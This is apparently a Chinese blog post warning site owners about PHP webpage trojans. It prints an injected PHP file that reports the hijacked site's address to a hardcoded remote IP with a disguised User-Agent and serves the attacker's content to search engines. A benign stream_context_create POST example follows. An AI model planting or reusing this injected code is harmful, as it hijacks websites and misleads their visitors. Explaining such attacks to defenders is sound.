# 常见的PHP网页木码

>[success]网站上线后,就容易被恶意挂码,除了做好网站安全外,还要了解,常见的挂码方式。

>

## 下面就是一个恶意的代码

>[success]这种的还不算是最为严中的,他只是让在你的站点中增加了一个php文件,当搜索引擎访问题,会打开他们指定的内容。

>

>[success]这种攻击,一般会在站点根目录生成一个`global`文件,下面的php文件,就是通过这个文件生成的。

~~~

set_time_limit(0);

header("Content-Type: text/html;charset=gb2312");

$Remote_server = "http://122.114.242.133/";

$host_name = "http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF'];

$Content_mb=getHTTPPage($Remote_server."/index.php?host=".$host_name);

function getHTTPPage($url) {

$opts = array(

'http'=>array(

'method'=>"GET",

'header'=>"User-Agent: aQ0O010O"

)

);

$context = stream_context_create($opts);

$html = @file_get_contents($url, false, $context);

if (empty($html)) {

exit("

Connection Error!

");

}

return $html;

}

echo $Content_mb;

?>

~~~

>[danger]stream_context_create — 创建资源流上下文

>stream_context_create()模拟POST/GET,

~~~

//请求数据

$data =[

'name'=>'zhangsan',

'age'=>25,

];

//http_build_query — 生成 URL-encode 之后的请求字符串

$data = http_build_query($data);

//post请求地址

$url="http://www.127.0.0.1/test.php"

//配置请求方式及请求参数等

$options = array(

'http' => array(

'method' => 'POST',

'header' => 'Content-type:application/x-www-form-urlencoded',

'content' => $data

//'timeout' => 60 * 60 // 超时时间(单位:s)

)

);

//stream_context_create — 创建资源流上下文

$context = stream_context_create($options);

//获取数据

$result = file_get_contents($url, false, $context);

~~~

打开php网页中木马,常见PHP网页木马相关推荐

  1. Visual Studio的正确打开方式|9中种常见错误

    文章目录 软件vs2010常见错误 1.vs2010软件编译(Ctrl+F5)一闪而过解决方法 2.无故运行报错 3.Consider using scanf_s instead. To disabl ...

  2. 关于网页中的常见错误分析

    一.404  无法找到文件 在进行网址查找后,有时会出现404的错误信息,一般造成这个原因的可能是因为: 1.访问的页面不存在,要么您要访问的页面被删除了: 2.网址输入错误: 3.自己所使用的机器没 ...

  3. 网页中图片常见格式及其特点

    1.jpg:有损压缩格式 靠损失图片本身的质量来减少图片的体积,适用于颜色丰富的图像:(像素点组成的越多越清晰) 2.gif:无损压缩格式 靠损失图片的色彩量来减小图片的体积,支持透明,支持动画,适用 ...

  4. html打开新窗口设置窗口属性,HTML之:让网页中的a标签属性统一设置-如‘新窗口打开’...

    在开发过程中,我们往往想在页面中,给设置一个统一的默认格式,例如我们想让链接:"在新窗口打开",我们就可以使用标签 在网页中添加这段代码: [注解] 标签为页面上的所有链接规定默认 ...

  5. html中显示页面布局,如何让打开的网页显示在一个页面上

    怎么把打开的网页并排显示在一个浏览器上 打开IE网页中"工具",选择"Internet选项",里面有人选项卡,选择"设置",然后在选项,遇到 ...

  6. 网页中的按钮无法显示问题解决

    今天有朋友反映她的电脑有问题,打开的网页中按纽无法显示,例如:163.com的邮箱中,发送邮件的按钮无法显示. 问了她一下是不是修改过背景色,她说是.就知道问题所在了. 解决方法:IE-工具-Inte ...

  7. html中文本重复,在网页中去除文本列表中重复行与计算重复次数的代码原理

    在我们使用记事本等文本工具整理查看段落列表数据时,经常会遇到多行出现重复的相同内容,当段落行数较多时,如果手动去一行行的找重复的行,会比较麻烦,那么我们该怎样去实现简单的去除文本组成的列表中的重复行以 ...

  8. 在网页中挂马和清除木马的方法

    网页挂马是攻击者惯用的入侵手段,其影响极其恶劣.不仅让站点管理者蒙羞,而且殃及池鱼使站点的浏览者遭殃.不管是站点维护者还是个人用户,掌握.了解一定的网页挂马及其防御技术是非常必要的. 1.关于网页挂马 ...

  9. 在chrome里查询修改html代码,我需要在网页中直接编辑CSS?打开Web代码检查器

    我需要在网页中直接编辑CSS?打开Web代码检查器 最受欢迎的支持问题是:"我必须编辑哪些CSS代码才能改变(-)的外观".几年前,CSS/HTML编辑器是最有用的web开发工具. ...

  10. 浏览器打开服务器上的图片无法显示,网页中的图片打不开怎么办?原因与解决办法...

    最近有网友问小编这样一个很泛的问题:网页中的图片打不开怎么办?对于这个问题,其实导致的原因有很多,但也很好排除原因,主要从网络,网页,平台等当面综合去分析,就很容易可以找到答案.以下是小编对网页中的图 ...

最新文章

  1. 北大核刊最新版2020目录_最新版CSSCI来源期刊目录及增减变化!
  2. 程序员的520--8ms给你无法复制的花式告白
  3. centos 删除crontab_CentOS安装crontab及使用方法
  4. layer的msg函数_layer弹出信息框API
  5. Javascript中暂停功能的实现
  6. python3 pygame load图片不显示_Python——mac下pygame踩坑,绘制图像不加载
  7. 程序员情人节必备脱单秘籍!
  8. 万能转换器boost::lexical_cast
  9. 使用Batch Normalization折叠来加速模型推理
  10. 数值分析(2)-误差
  11. 施努卡:3d视觉检测方案 3d视觉检测应用行业
  12. 学习笔记--STM32F205+LCD
  13. matlab怎么实现行随机网络,matlab生成随机行走网格 模拟材料生长 - 计算模拟 - 小木虫 - 学术 科研 互动社区...
  14. Java IO有这么难吗?
  15. python 给qq点赞_Python学习二:使用Python实现在QQ空间批量点赞
  16. Python 阴阳师/pillow-窗口截屏/opencv-图像识别/pyaotugui-点击/pyqt5-UI界面设计/pyqt5-窗口绘制
  17. JAVAMAIL试用google邮箱发送邮件
  18. 【WebRTC】回声抵消(aec、aecm)算法简介
  19. 2020-mac教程-sudo spctl --master-disable用不了
  20. 1.3 万亿条数据查询,如何做到毫秒级响应?

热门文章

  1. 微信小程序开发之——WebView
  2. [Vue]开发环境搭建
  3. OBS录制高清视频卡顿原因之一:OBS缓存数据写入磁盘不及时
  4. java读取txt文件字符串_java读取txt文件,对字符串进行操作后导出txt文件
  5. 试用版:springboot集成pageoffice实现word在线预览可编辑
  6. 如何安装PyAudio
  7. html广告清理,谷歌浏览器插件-清除CSDN广告
  8. java输出杨辉三角_使用Java输出杨辉三角
  9. 数领科技|Solidworks软件这些年来的变化你都知道吗?
  10. java分组求和实例_mybatis example group by count 分组求和 - java分组求和